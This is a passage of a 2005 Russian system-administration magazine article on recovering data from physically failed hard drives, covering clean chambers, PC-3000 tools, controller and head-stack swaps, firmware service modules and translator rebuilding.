Что нам понадобитсяНепременным атрибутом серьезной фирмы была и остается «чистая ком-ната» с классом чистоты 100 (в од-ном кубическом футе воздуха содер-жится не более 100 пылинок разме-ром 0,5 миллиметра). За этими неза-тейливыми словами скрывается гран-диозное инженерное сооружение со стоимостью от 30 тыс. долларов. Ме-нее серьезные ремонтники ограничи-

КАК СПАСТИ ДАННЫЕ,КАК СПАСТИ ДАННЫЕ,ЕСЛИ ОТКАЗАЛ ЖЕСТКИЙ ДИСКЕСЛИ ОТКАЗАЛ ЖЕСТКИЙ ДИСК

Вам уже известна методика восстановления логических разрушений (форматирование,

удаление файлов и т. д.) и теперь мы перейдем к самой сложной и ответственной части –

аппаратным отказам жесткого диска и путям их преодоления.

КРИС КАСПЕРСКИКРИС КАСПЕРСКИ

Page 83: 034 Системный Администратор 09 2005

81№9, сентябрь 2005

hardware-практикум

ваются «чистой камерой», что на поря-док дешевле, но для кустарных масте-ров даже это неподъемно дорого. Мож-но ли обойтись без чистой комнаты или соорудить ее самостоятельно?

Вопреки распространенным слу-хам и опасениям – да, можно! Как ми-нимум достаточно обыкновенной не-запыленной комнаты с работающим кондиционером или даже без него. Также желательно обзавестись иони-затором (он вызывает слипание час-тичек пыли, и они вместо того чтобы носиться по комнате, оседают на пол, откуда их удаляет нехитрая система вентиляции) (рис. 4). Хороший иони-затор стоит в пределах $500 – $1000, но при желании его можно сконструи-ровать и самостоятельно. Взять хотя бы ту же «Люстру Чижевского», схему которой легко найти в старых журна-лах «Радио», «Моделист-Конструктор» или в Интернете. Естественно, непос-редственно перед проведением работ ионизатор нужно выключать.

При ремонте винчестеров на бо-лее или менее постоянной основе име-ет смысл соорудить некоторое подо-бие чистой камеры. Для этого требу-ется стеклянный аквариум, воздуш-ный фильтр и компрессор, нагнетаю-щий воздух внутрь аквариума и пре-пятствующий попаданию пыли через открытую переднюю стенку. Да! Пе-редняя стенка остается открытой! Ак-вариум ставится на «бок», открытой стороной на себя. Сверху закрепля-ется стеклянная пластина, закрываю-щая до 2/3 поверхности, а внутрь уста-навливается воздушный фильтр. Ком-прессор остается снаружи. Оставшая-ся 1/3 закрывается другой пластинкой, на несколько часов включается фильтр (точное время зависит от его пропуск-ной способности и объема аквариума), а затем, перед самым началом работ, нижняя пластинка удаляется, предо-ставляя простор рукам. Невероятно де-шево, но вполне «стерильно». Во вся-ком случае намного чище открытой жилой комнаты. Учитывая непродол-жительное время вскрытия гермозоны (сделал дело и тут же закрыл), на плас-тины успевает осесть не так уж много пыли, и у винчестера есть все шансы считать данные до смертельного ис-хода (рис. 5).

После выполнения всех операций винчестер следует обязательно за-

крыть крышкой, предварительно уда-лив попавшие пылинки с помощью баллончика с воздухом для продув-ки двигателей, который можно купить в автомагазине. Поскольку в трубке образуется конденсат, первые порции струи выпускаются в сторону от вин-честера и затем плавно направляют-ся на диск. Другая неприятная особен-ность заключается в том, что баллон-чик нельзя встряхивать, иначе из него полезет белая непотребность, которая добьет диск окончательно. Сергей Яце-нко подготовил видеоматериал, на ко-тором все это наглядно проиллюстри-ровано: http://pc3k.rsu.ru/video/video03_N40P_disk_swap.avi (157 Мб).

Продолжительная работа с «оголен-ной» гермозоной даже в чистой каме-ре недопустима! Частицы пыли, при-сутствующее в воздухе, сталкиваясь с бешено вращающейся пластиной, за короткий срок уничтожают магнит-ное покрытие. На дисках со стеклян-ной подложкой (например, винчесте-рах типа DTLA) образуется настоящий «иллюминатор». Но ведь при вскрытии гермоблока в него все равно попадает пыль! Разве от закрытия крышки она исчезнет? По этому поводу вспомина-ется анекдот: «Вася, закрой форточку, на улице холодно! – От того, что я ее закрою на улице теплее не станет!» Шутка. На самом деле внутри гермо-блока расположен фильтр рециркуля-ции, активно поглощающий попавшую пыль, в результате чего ее концентра-ция быстро уменьшается до приемле-мых значений. А вот при работе в сти-ле «ню» концентрация пыли остается постоянной (рис. 6). Другая причина – закрученная крышка слегка деформи-рует гермоблок, поэтому без нее диск может читаться нестабильно, с много-кратными повторами. Установка крыш-ки – это целое дело! Запустив утилиту, выводящую скоростную кривую на эк-ран, попеременно подтягиваем бол-ты, добиваясь наиболее ровного гра-фика чтения.

Часы жизни винчестера, вскрытого вне чистой комнаты, сочтены, а время, требующееся для вычитки данных, – велико, особенно если используются аппаратно-программные комплексы, не поддерживающие режимов DMA/ULTRA DMA. Поэтому жесткий диск лучше подключать к компьютеру на-прямую и в первую очередь вычиты-

вать только самые важные данные, установив счетчик повторов чтения на значение 3х. То есть сначала чита-ем все, что читается само, и только по-том – то, что читается с трудом.

Вторым козырем серьезных фирм являются только что упомянутые ап-паратно-программные комплексы.

Рисунок 1. Жесткие диски � так онивыглядят

Рисунок 2. Этому жесткому диску уженичто не поможет, но в большинствеслучаев их все-таки можно восстановить

Рисунок 3. Чистая комната, в которойвскрывают гермоблоки жестких дисков

Рисунок 4. Схематичное устройствотиповой чистой комнаты

Page 84: 034 Системный Администратор 09 2005

82

hardware-практикум

Наибольшую известность получили PC-3000 от ACE Lab (www.acelab.ru) и HDD Repair Tools от BVG Group (www.bvg-group.ru). Что это такое? С «желез-ной» точки зрения это обыкновенный (даже слегка ущербленный) IDE-кон-троллер, поддерживающий режимы PIO и отчасти DMA/UDMA со встроен-ным электронным ключом (как пра-вило, собранном на мощном полевом транзисторе) и позволяющий подсо-единять/отсоединять жесткие диски

«на лету», без выключения компьюте-ра, что очень удобно. Однако того же эффекта можно достичь, если подсо-единить жесткий диск к отдельному блоку питания, а перед его выключе-нием подать ATA-команду 94h (standby immediate) (рис. 7).

Технологические команды, при-открывающие дверь во внутренний мир жесткого диска, передаются либо по ATA-интерфейсу, либо через COM-терминал. Да-да! На многих моделях винчестеров имеется интегрирован-ный COM-порт, подключившись к ко-торому можно контролировать процесс инициализации и управлять приводом (правда, не на всех дисках он распаян, то есть выведен на разъем). Обычно-го COM-порта, встроенного в компью-тер, плюс пары переходников, кото-рые любой радиолюбитель легко смас-терит самостоятельно, для наших це-лей вполне достаточно. Еще в аппа-ратно-программных комплексах име-ется возможность в любой момент по-дать RESET, что помогает в случае «за-цикливания» жесткого диска (рис. 8). Штатные IDE-контроллеры на это не способны, но что мешает прицепить на IDE-шину свою кнопку или просто замкнуть пинцетом выводы?

Зачем же тогда люди приобрета-ют аппаратно-программные комплек-сы, отдавая за них ненормальные де-ньги? (В частности, PC-3000 в полном комплекте обойдется в несколько ты-сяч долларов). А за поддержку и сер-вис! Сам по себе PC-3000 бесполезен или почти бесполезен. Но к нему при-лагается документация с подробным описанием методики восстановления различных моделей винчестеров, име-ется база служебных модулей, к ус-лугам которой приходится прибегать, если родная «служебка» отправляет-ся к праотцам, наконец, в стоимость комплекса входят консультация и обу-чение. К тому же прилагается мощное программное обеспечение, в частнос-ти Data Extractor, отличительной чер-той которого является способность ав-томатического восстановления транс-лятора (во врезке «Прошивка, инди-видуальные настройки и адаптивы» мы об этом еще поговорим) плюс про-думанный механизм «вычитывания» информации. Если сектор прочитал-ся, он заносится в базу и в дальнейшем никогда не читается с диска повтор-

но (разве что вы специально об этом попросите). Большинство распростра-ненных утилит (например, GetDataBack от Runtime Software) ведут себя совсем не так. Они многократно перечитывают одни и те же сектора, особенно прина-длежащие служебным областям дис-ка, такие как FAT или MFT, или вооб-ще аварийно завершают свою работу при встрече с BAD-сектором. В слу-чае логических разрушений все ОК, но для восстановления жестких дис-ков такой подход непригоден. Можно, конечно, написать такую утилиту са-мостоятельно или доработать близ-кий по духу Open Source проект, мож-но раздобыть готовую служебку в се-ти или слить ее с аналогичной моде-ли винчестера, но… на все это требу-ется время, а времени всегда не хва-тает. Наличие специализированно-го комплекса существенно упрощает дело. Тем не менее PC-3000 не пана-цея! Специалист, умеющий ремонти-ровать жесткие диски, при необходи-мости обойдется и без него, а не уме-ющему он ничем не поможет.

Из инструментов нам в первую оче-редь понадобятся отвертки-звездоч-ки. Для старых винчестеров – номер 10, для новых – номер 9. При отсутс-твии звездочек можно воспользовать-ся и обыкновенной плоской отверткой. В частности, звездочка-10 соответс-твует плоской-3. Под звездочку-9 от-вертку придется затачивать самосто-ятельно. Впрочем, сейчас звездочки уже не проблема и приобрести их мож-но в любом техническом магазине.

Остальной инструментарий впол-не стандартен. Пассатижи, плоскогуб-цы, пинцеты… Для перестановки «бли-нов» придется собрать специальный захват, устройство и приемы работы с которым наглядно продемонстриро-ваны в уже упомянутом видеоматери-але Сергея Яценко.

В процессе ремонта нам придет-ся заниматься демонтажем микро-схем. Для этого нужен либо строитель-ный фен, либо паяльник плюс фанта-зия. Фен обойдется примерно в ~$50, но им еще необходимо научиться пользоваться. Сергей Яценко подго-товил специальный видеоматериал, демонстрирующий технику демонта-жа ПЗУ с помощью паяльной станции http://pc3k.rsu.ru/video/video02_WDC_ROM.avi (13 Мб). Паяльная станция –

Рисунок 5. Чистая камера

Рисунок 8. Жесткий диск, подключенныйчерез стандартный ATA-порт(широкий ленточный кабель) и черезтехнологический COM-терминалс помощью адаптера PC-KALOC, входящегов комплект поставки PC-3000(узкий ленточный кабель)

Рисунок 6. Для жесткого диска каждаяпылинка равносильна метеориту

Рисунок 7. Аппаратно-программныйкомплекс PC-3000, установленныйв компьютер

Page 85: 034 Системный Администратор 09 2005

83№9, сентябрь 2005

hardware-практикум

это, конечно, не фен, но принципы ра-боты с ней схожи. Если фена нет, мож-но обойтись паяльником с расплющен-ным жалом, лезвием (для демонтажа планарных микросхем) и медицинской иглой со сточенным концом (для де-монтажа элементов, установленных в отверстия со сквозной металлизаци-ей). О самом демонтаже можно прочи-тать в статье «Лудить, паять, кастрю-ли-ведра чиним» (www.computerra.ru/offline/1998/251/1400).

Как их ремонтируютДревние жесткие диски стоили доро-го, использовали «рассыпуху» микро-схем с низкой степенью интеграции и серийные комплектующие, над ко-торыми еще имело смысл подолгу за-висать с осциллографом, выискивая неисправный элемент. Но затем сте-пень интеграции начала стремитель-но нарастать, производители пере-шли на заказные чипы, а цены на вин-честеры упали ниже арктических хо-лодов. Ремонтировать электронику теперь не только сложно, но еще и не-рентабельно.

Основным способом возвраще-ния работоспособности стала замена всей платы контроллера целиком. Бе-рется диск, идентичный модели (до-нор), и плата переставляется на гер-моблок с восстанавливаемыми данны-ми (акцептор). Исключение составля-ет мелкий ремонт типа замены пере-горевшего предохранителя или тран-зистора, который можно выполнить непосредственно на теле «пациента» (рис. 10).

Возникает естественный вопрос – если ремонтники уже давно ничего не ремонтируют, а только тасуют пла-ты, зачем же к ним обращаться и пла-тить деньги, когда эту операцию мож-но проделать и самому? Но все не так просто!

Во-первых, необходимо найти под-ходящего донора. У разных моделей винчестеров совместимость плат элек-троники неодинакова, некоторые тре-буют совпадения всех цифр в номере модели, некоторые соглашаются ра-ботать и с «родственным» контролле-ром. А некоторые могут не работать даже при полном совпадении всех букв и цифр, и тогда приходится перебирать одного донора за другим, в надежде найти подходящего. Особенности по-

ведения каждой модели можно почер-пнуть из документации, прилагаемой к PC-3000 или найти в Интернете. По-иски доноров серьезно осложняются тем, что период производства боль-шинства винчестеров намного мень-ше их среднего срока существования. Компьютерные магазины постоянно обновляют свой ассортимент и приоб-рести модель аналогичную той, что вы купили несколько лет назад, скорее всего не удастся. Остаются радио-рын-ки и фирмы, торгующие подержанны-ми комплектующими, но выбор здесь никакой (рис. 11).

Внимание: неродной контроллер может повредить микросхему комму-татора/предусилителя, расположен-ную внутри гермоблока, и разрушить служебную информацию, что значи-тельно затруднит дальнейший ремонт, поэтому не переставляйте платы, если не уверены в их совместимости!

Во-вторых, помимо электроники плата контроллера несет на своем бор-ту ПЗУ, в котором могут быть записа-ны индивидуальные настройки. И с чу-жой платой винчестер работать прос-то не будет! Тут есть два пути. Если ак-цептор еще не совсем сдох, с него счи-тывается оригинальная прошивка и за-ливается на плату донора. В противном случае приходится перепаивать непос-редственно само ПЗУ.

В-третьих, даже если винчестер «заведется» чужой платой, последо-вательность нумерации секторов мо-жет оказаться нарушена, и файловая система превратится в мусор, кото-рый придется разгребать руками или

специализированными программными комплексами (лучшим из которых яв-ляется Data Extractor, входящий в комп-лект PC-3000, но также способный ра-ботать и отдельно от него со штатным IDE-контроллером).

Тем не менее никаких экстраор-динарных способностей для ремон-та не требуется, и он вполне по силам мастерам средней руки. Отказ элект-роники это ерунда. Хуже, если испор-чена часть служебной информации, записанной на магнитных пластинах (см. врезку «Прошивка, индивидуаль-ные настройки и адаптивы». Это мо-жет произойти по разным причинам: ошибки в прошивке, сбои питания, отказ электроники, вибрация/удары, деформация гермоблока и т. д. и т. п. При этом жесткий диск не входит в го-товность или на все команды отвечает ошибкой. Некоторые винчестеры авто-матически переходят в технологичес-кий режим, предназначенный для за-ливки служебной информации, кото-рая может быть передана либо через стандартный ATA-интерфейс, либо че-рез COM-терминал.

В состав PC-3000 входит большая коллекция разнообразных служебных модулей для популярных моделей жес-тких дисков, а всем зарегистрирован-ным пользователям предоставляет-ся бесплатный доступ к ftp-серверу, на котором можно найти практичес-ки все что угодно. Как вариант можно воспользоваться специализирован-ными утилитами, распространяемыми производителями винчестера, выбрав режим обновления прошивки. Однако

Устройство жесткого дискаЖесткий диск состоит из гермоблока и пла-ты электроники. В гермоблоке расположен шпиндельный двигатель, вращающий па-кет из одного или нескольких магнитных дисков, блок магнитных головок (сокра-щенно БМГ), ранее управляемый шаговым двигателем, а теперь устройством под на-званием «звуковая катушка» (voice coil), а также предусилитель коммутатор чте-ния/записи, смонтированный в микросхеме либо непосредственно на БМГ, либо распо-ложенный на отдельной плате рядом с ней. В последнем случае замена коммутатора возможна без съема БМГ, что существен-но упрощает его ремонт (рис. 9).

Плата электроники включает в себя:

контроллер шпиндельного двигателя и зву-ковой катушки, управляющий вращением пакета диска и позиционированием голо-вок; канал чтения/записи; микроконтрол-лер, являющийся, по сути, «сердцем» вин-честера; контроллер диска, отвечающий за обслуживание ATA-интерфейса.

Рисунок 9. Блок-схема типичногожесткого диска

Page 86: 034 Системный Администратор 09 2005

84

hardware-практикум

при этом обновляются далеко не все модули и далеко не для всех моделей такие утилиты есть.

К тому же этот способ восстановле-ния бесполезен, если в служебной зоне имеются физические дефекты или на-

копитель «зависает» еще на старте, отказываясь входить в технологичес-кий режим. На этот случай существу-ет метод Hot-Swap (горячая замена). В нем также участвуют два накопите-ля – донор и акцептор, но транспланта-ция осуществляется в живую под мес-тным наркозом. Акцептор обесточива-ется, с него снимается плата электро-ники, обнажая гермоблок. Донор под-ключается к IDE-шлейфу, на него по-дается питание, затем после процесса инициализации и выдачи готовности, отдается ATA-команда Sleep (95h), ос-танавливающая шпиндельный двига-тель. Все остальные узлы остаются под напряжением. Контроллер аккуратно свинчивается и переставляется на гер-моблок акцептора. Затем ему подает-ся любая команда для пробуждения (например, команда чтения сектора). Поскольку контроллер уже был прои-нициализирован, обращения к служеб-ной зоне не происходит, и с диска уда-ется считать всю уцелевшую инфор-мацию. (При использовании штатного IDE-контроллера необходимо забла-говременно отключить SMART в на-стройках BIOS Setup, иначе винчес-тер будет вести SMART-протокол, про-изводя запись в служебную зону). Тре-бования к совместимости плат элект-роники – те же самые, что и в случае простой перестановки контроллера. В принципе не обязательно перестав-лять плату донора на акцептор. Мож-но взять плату акцептора, проинициа-лизировать ее на гермоблоке донора, а затем вернуть обратно. Такой спо-соб даже более предпочтителен, пос-кольку в этом случае, акцептор будет работать со «своим» ПЗУ.

Ряд неисправностей требует вскры-тия гермоблока и ювелирного мастерс-тва рук. Первое место по частоте от-казов занимает выход из строя од-ной или нескольких магнитных голо-вок. Причиной может быть и заводской брак, и пробой электроники, и механи-ческое воздействие (например, удар). Если физически головка остается не-поврежденной, то одна из поверхнос-тей перестает читаться, и тогда через каждые N секторов, где N – количес-тво головок, образуется BAD. Некото-рые модели имеют 6 головок, некото-рые – только одну, тогда при ее отка-зе диск становится полностью нера-ботоспособным и не может прочитать

даже служебную зону. Но и при отка-зе одной из шести головок информа-ция превращается в труху. Все фай-лы, размер которых превышает 3 Кб (512 * 6), становятся продырявленны-ми. Что делать? Переставлять блок головок! Это очень сложная операция и у начинающих мастеров в половине случаев она заканчивается летальным исходом. Практиковаться на своем ра-бочем винчестере, который надо вос-становить, категорически недопусти-мо! Сначала потренируйтесь на «кош-ках» – жестких дисках разной степе-ни убитости, на которых нет ничего интересного.

Нам потребуется донор близкой мо-дели. Точное совпадение всех цифр модели здесь не обязательно, глав-ное, чтобы БМГ был аналогичного ти-па. Некоторые диски паркуют головки за пределами внешней кромки маг-нитных пластин, некоторые – в спе-циальной зоне близ центра шпинделя (рис. 12). Последний случай самый тя-желый. Ведь для того чтобы снять го-ловки, их нужно протащить через всю поверхность, а допускать контакта го-ловки с поверхностью ни в коем слу-чае нельзя, иначе магнитное покрытие будет повреждено!

Вооружившись тонкой полоской выгнутого и обезжиренного пласти-ка, аккуратно заводим ее под каж-дую головку, так чтобы пластик при-поднимал головку над поверхностью, но сам ее не касался и выводим голо-вки за пределы внешний кромки. Что-бы головки не касались и не царапа-ли друг друга, между ними вставляет-ся полоска полиэтилена, которую мож-но вырезать из антистатической упа-ковки жесткого диска. Меняется толь-ко БМГ. «Родной» магнит звуковой ка-тушки акцептора остается тем же са-мым. В зону парковки магнитные голо-вки заводятся аналогичным образом. Остается закрутить винт оси позици-онера и надеть крышку на гермоблок. При включении винчестера наверня-ка раздастся жуткий рыдающий звук, а скорость чтения упадает в разы. Это следствие работы с чужим БМГ, на не-родных адаптивах. Подтягивая вин-ты крышки, можно до некоторой сте-пени выровнять график чтения. Дол-го в таком состоянии жесткий диск ра-ботать не может, поэтому необходимо как можно скорее приступать к вычи-

Рисунок 10. Плата электроники,готовая к пересадке

Рисунок 11. Коллекция винчестеров-доноров, используемая при пересадкеконтроллеров

Рисунок 12. Блок магнитных головокс микросхемой коммутатора/предусилителя

Рисунок 13. Инструмент для перемещенияБМГ, изготавливаемый из узкой полоскипластика (1), обжимаемый на разогретомметаллическом стержне (2)

Page 87: 034 Системный Администратор 09 2005

85№9, сентябрь 2005

hardware-практикум

тываю поверхности, начиная с наибо-лее ценных данных (рис. 13). Подроб-нее об этом читайте в статье Сергея Казанского «Как я переставлял блок головок на Fujitsu MPG3409AH, чтобы спасти информацию. (Записки сумас-шедшего ремонтника)» – http://onehalf.pisem.net/stat/heads.html.

Некоторые жесткие диски содер-жат только одну магнитную головку, и в случае ее отказа выгоднее пере-ставлять сам магнитный «блин», как это показано в уже упомянутом виде-оматериале Сергея Яценко.

Также приходится сталкиваться с «залипанием» магнитных головок, в прямом смысле слова прилипших к поверхности за счет сил межмоле-кулярного притяжения. Некоторые ис-точники рекомендуют в этом случае просто крутануть диск в горизонталь-ном направлении, но польза от это-го действия очень сомнительна, а вот вред оно может нанести немалый и за-частую непоправимый (например, пов-редить подвески головки с последую-щим фрезированием магнитной повер-хности). Лучше разобрать гермоблок и аккуратно приподнять головки с по-мощью уже знакомого нам куска изог-нутого пластика, вернув их в зону пар-ковки. Подробности – в статье Сергея Яценко «Восстановление гермобло-ка IBM DJNA371350 после падения» – http://www.acelab.ru/pcTechSupport/DOSvers/MFGFeatures/IBM/VGPP.html (только для зарегистрированных поль-зователей PC-3000).

Еще встречается повреждение коммутатора/предусилителя или об-рыв гибкого шлейфа. Если он располо-жен непосредственно на БМГ (особен-но в микросхеме бескорпусного испол-нения), то весь БМГ меняется целиком по вышеописанной методике.

Звуковая катушка в силу своей конструктивной простоты практически никогда не отказывает (там просто не-чему ломаться), но вот выводные про-вода обломаться могут, однако их лег-ко припаять (рис. 14).

Шпиндельный двигатель очень на-дежен и перегорает/замыкает обмот-ками только в исключительных слу-чаях, а вот клин гидродинамического подшипника вполне распространен-ное явление, и тогда его приходится расклинивать по методике, описанной в http://www.acelab.ru/pcTechSupport/

DOSvers/TechDoc/Barracuda4.html (только для зарегистрированных поль-зователей PC-3000).

Какой диск выбрать?Своему винчестеру мы доверяем са-мое дорогое, что у нас есть – свои дан-ные. Знакомые меня постоянно спра-шивают: какого производителя вы-брать? Какой модели отдать предпоч-тение? Цена не критична. Остальные параметры (ну, быть может, за исклю-чением шума) тоже. Главное – чтобы он не сдох без предупреждений. (Мед-ленная смерть, сопровождающаяся посторонними звуками типа визга или шума и размножающимися BAD-сек-торами не в счет, тут любому понятно, что диск надо менять). Я сам задаю себе тот же вопрос, но… как говорит-ся, «во Вселенной существуют вопро-сы, на которые нет ответов». У жестких дисков нет надежности. Вместо это-го у них гарантийный талон. И точка. На сотни тысяч часов наработки на от-каз, приводимых в документации, мож-но не опираться, поскольку они берут-ся с потолка и производитель за них не отвечает (а следовало бы…).

Не бывает «хороших» и «плохих» производителей. С каждым брендом случались свои проколы. Независимо от производителя в партии из тысячи дисков от одного до десяти винчесте-ров возвращаются задолго до исте-чения гарантийного срока, даже если они позиционируются как серверные модели. Все решает вероятность. Ко-му-то жить, а кому-то умирать.

Правильнее говорить о неудач-ных (то есть «падучих») моделях. На-пример, печально известная серия Fujitsu MPG, в которой использова-

лась микросхема Cirrus Logic с изме-ненным составом подложки, со време-нем образовывала паразитные утеч-ки, и практически все эти винчестеры вымерли в течение двух лет. Или вот IBM DTLA (в просторечии называе-мый «дятлом») с неудачной конструк-цией разъема гермоблока, вызываю-щей периодический неконтакт и как следствие – преждевременный обрыв операции записи. Часть сектора запи-сана, часть – нет. В результате на дис-ке образуются виртуальные BAD-сек-тора (контрольная сумма не совпада-ет, но физических дефектов нет), ко-торые можно (в принципе) прочитать, но нельзя восстановить (данные не до-писаны). У меня было три дятла. Один сдох в течение первых двух меся-цев, но был успешно отремонтирован и заброшен на полку как враг народа. Два других успешно работают до сих пор. А сколько дисков полетело у мо-их знакомых – не сосчитать! Все реша-ет слепая вероятность и, может быть, даже судьба (у одного винчестера од-на карма, у другого – другая). Ну и ка-чество блока питания, отсутствие виб-раций, наконец!

Сбор статистики затруднен еще и потому, что ее просто не откуда взять. Абсолютное количество отказов само по себе еще ни о чем не говорит. Тре-буется учесть распространенность

Рисунок 14. Звуковая катушка

Таблица 1. Статистика отказов жесткихдисков по производителям

Таблица 2. Статистика отказов жесткихдисков по моделям

Page 88: 034 Системный Администратор 09 2005

86

hardware-практикум

данной модели и условия эксплуата-ции. SCSI-диски надежнее IDE толь-ко потому, что они устанавливаются на серверах и работают, практически никогда не выключаясь (а большинс-тво неисправностей как раз и проис-ходит в момент включения/выключе-ния), им неведомо что такое перегрев или «винт в сумке».

На сайте фирмы Derstein, занимаю-щейся восстановлением данных, при-водится любопытная статистика за-фиксированных отказов (http://www.derstein.ru/cgi-bin/stat.cgi?do=show), ко-торую я в сокращенном виде привожу ниже. Одна таблица – по производи-телям, другая – по моделям (см. таб-

лицы 1,2).Как видно, самым лучшим произво-

дителем оказался Samsung (хотя лич-но у меня против него стойкое преду-беждение и вовсе не факт, что малое количество отказов не вызвано низкой популярностью таких дисков).

Тем не менее у всех производите-лей встречаются неудачные модели, к тому же, как уже говорилось, источ-ник отказов зачастую располагается вне диска. Поэтому вопрос о надеж-ности правильнее ставить так: «Какой диск имеет наибольшие шансы на ус-пешное восстановление?».

За этим я обратился к ведущему инженеру фирмы ACE Lab Сергею Яце-нко, через руки которого прошли тыся-чи дисков.

«Ответ на вопрос «какие же дис-ки лучше» в ключе, какие из них про-

ще восстанавливать: более удач-ны в восстановлении (проще подоб-рать блок головок в случае проблем с ним, практически нет самоповреж-дения записи, сравнительно низ-кое количество экстремально слож-ных узлов): Seagate, Samsung, Hitachi-IBM(HGST), Fujitsu(2.5"), ну и, может быть, Toshiba(2.5"), хотя у последней есть очень неприятная проблема с про-теканием подшипника шпиндельного двигателя из-за того, что крышка его не приварена, как у других, а прикле-ена... Хотя у Maxtor она тоже приклее-на, но из-за значительно большей тол-щины и габаритов проблемы с ней не возникают. Название компаний я упо-рядочил по мере увеличения пробле-матичности их дисков...

Прошивка, индивидуальные настройки и адаптивыЭлектроника диска – это только скелет. Без управляющих микропрограмм она ра-ботать не будет! Первые модели винчес-теров хранили микропрограммы в ПЗУ, что вызывало естественные неудобства и накладывало определенные ограниче-ния. Теперь же для этой цели использует-ся сам жесткий диск! Разработчик резерви-рует некоторый объем и размещает в нем весь необходимый код и данные. Инфор-мация организована в виде модулей (сла-бое подобие файловой системы) и управ-ляется специализированной операционной системой. В ПЗУ остается лишь базовый код, своеобразный «фундамент» винчес-тера. Некоторые производители идут еще дальше, убирая из ПЗУ все, кроме первич-ного загрузчика.

Само ПЗУ может быть расположено как внутри микроконтроллера, так и на отде-льной микросхеме. Практически все вин-честеры имеют FLASH-ROM, но не на всех моделях она распаяна. Если FLASH-ROM установлена, то микроконтроллер считы-вает прошивку из нее, если нет – обраща-ется к своему внутреннему ПЗУ.

Часть модулей (и информации, нахо-дящейся в ПЗУ) одинакова для всей серии винчестеров. К ней в первую очередь от-носится совокупность управляющих мик-ропрограмм. Эти модули полностью вза-имозаменяемы, и один диск свободно мо-жет работать с модулем другого без каких-либо последствий.

Часть модулей (реже – информации из ПЗУ) готовится отдельно для каждой

партии. Так, например, паспорт диска, опи-сывающий его конфигурацию, указывает количество головок, физических секторов и цилиндров. В процессе инициализации микропроцессор опрашивает коммутатор и перечисляет головки. Если их количест-во не совпадает с указанным в паспорте, винчестер может «забастовать» и не вой-ти в готовность. Зачастую производители отключают некоторые головки из-за де-фектов поверхности, неисправностей са-мих головок или по маркетинговым сооб-ражениям. Как следствие – образуются внешне очень похожие модели-близнецы, но непосредственная перестановка плат невозможна, и паспорт приходится коррек-тировать, для чего опять-таки понадобится PC-3000. Но в принципе подобрать донора с идентичным паспортом вполне возможно и без коррекции.

Все зло и коварство происходит от моду-лей (и часто информации, зашитой в ПЗУ), уникальных для каждого экземпляра винчес-тера и настраиваемых строго индивидуаль-но. В частности, каждый жесткий диск име-ет как минимум два списка дефектов – P-list (от Primary – первичный) и G-list (от Grown – растущий). В P-list заносятся номера дефек-тивных секторов, обнаруженные еще на ста-дии заводского тестирования, а G-list фор-мируется самим жестким диском в процес-се его эксплуатации. Если запись в сектор происходит с ошибкой, сбойный сектор пе-реназначается другим сектором, взятым из резервной области. Некоторые жесткие дис-ки поддерживают список «подозрительных секторов»: если сектор начинает читаться не с первого раза, он замещается, а инфор-

мация о замещении сохраняется либо в от-дельном списке, либо в G-list.

Все эти процессы протекают скрыто от пользователя. Специальный модуль, на-зываемый транслятором, переводит физи-ческие адреса в номера логических блоков или виртуальные цилиндры-головки-сек-тора, и внешне нумерация секторов не на-рушается. Все работает нормально до тех пор, пока P/G-list не оказываются разру-шенными или на гермоблок устанавлива-ется плата с чужими настройками. Если P/G-list хранятся во FLASH-ROM (а часто так и бывает), файловая система оказывается полностью неработоспособной, ведь транс-ляция адресов нарушена! И хотя на секто-ром уровне все читается нормально, со-вершенно непонятно, какой сектор како-му файлу принадлежит.

К счастью, восстановить транслятор довольно просто, поскольку практически все файловые структуры (да и сами фай-лы) имеют характерные последователь-ности байт (сигнатуры). Для начала нужно очистить таблицы транслятора (сгенериро-вать пустые P/G-list), в противном случае сектора, помеченные у донора как заме-щенные, не смогут прочитаться на акцепто-ре. Различные винчестеры имеют различ-ное число замещенных секторов. В некото-рых винчестерах замещенных секторов мо-жет не быть вообще, на некоторых их коли-чество может доходить до нескольких ты-сяч. Формат P/G-list варьируется от одной модели к другой, и для работы с ним лучше всего применять PC-3000. В крайнем слу-чае – утилиты от производителей винчес-тера или ATA-команду unassign.

Page 89: 034 Системный Администратор 09 2005

87№9, сентябрь 2005

hardware-практикум

Далее идут диски, которые достав-ляют массу неприятностей при восста-новлении, хотя, может, и отказывают незначительно чаще представителей первого списка (этот список также упо-рядочен по нарастанию глючности):! Maxtor (очень «порадовали» глюч-

ной записью и нестабильностью го-ловок);

! WDC (крайне сложно подобрать ис-правные головки и восстановить функциональность служебной зоны в некоторых случаях, плюс у них ста-тический транслятор, что приводит к невозможности прочитать данные пользователя в случае разрушения модулей транслятора и таблицы де-фектов в служебной зоне);

! Quantum (хотя компании уже нет, но

диски продолжают дохнуть и при этом практически невосстанови-мы). Самый действенный способ восстановления, но не самый про-дуктивный – это заморозка. В неко-торых случаях отмороженный при -10 С° диск в течение где-то получа-са начинает отдавать данные... Но этот трюк проходит нечасто. Заме-на головок у них крайне затрудне-на и в случае трех и более голового диска практически нереальна (вер-нее, реальна, но при впечатляющих трудозатратах).

Если у кого-то стоят Quantum AS, советую скорее от них избавиться. Maxtor и WDC со своими трудностями справляются с явной неохотой...

Затем необходимо просканировать весь диск на предмет поиска характерных сигнатур и загнать их «физические» ад-реса в список. Разумеется, никакой физи-кой в подлинном смысле этого слова здесь и не пахнет! Скажем так: логические адре-са без переназначенных секторов, но это слишком долго писать.

Теперь, исследуя служебные структуры файловой системы (каталоги, MFT), мы оп-ределяем номера кластеров подчиненных структур. Переводим кластеры в сектора и создаем еще один список. В результа-те у нас получается два списка, между ко-торыми прослеживается четкая корреля-ция. Первый список как бы «растягивает-ся» вдоль второго. Другими словами, каж-дый переназначенный сектор увеличивает расхождение между последующими «физи-ческими» и логическими адресами на еди-ницу. Проделав необходимые математичес-кие вычисления, мы сможем рассчитать необходимую поправку и как бы восстано-вить транслятор. «Как бы», потому что це-левые адреса замещенных секторов ос-таются неизвестными, а, значит, в восста-навливаемых данных образуются «дыры», однако большая часть информации все же возвращается из небытия. PC-3000 автома-тически восстанавливает транслятор, ис-пользуя довольно продвинутые алгорит-мы, которые постоянно совершенствуют-ся. Тем не менее, при большом желании утилиту для восстановления транслятора можно написать и самостоятельно.

А вот чего ни PC-3000, ни другие ком-плексы не умеют, так это восстанавливать адаптивы. Нашествие адаптивов началось

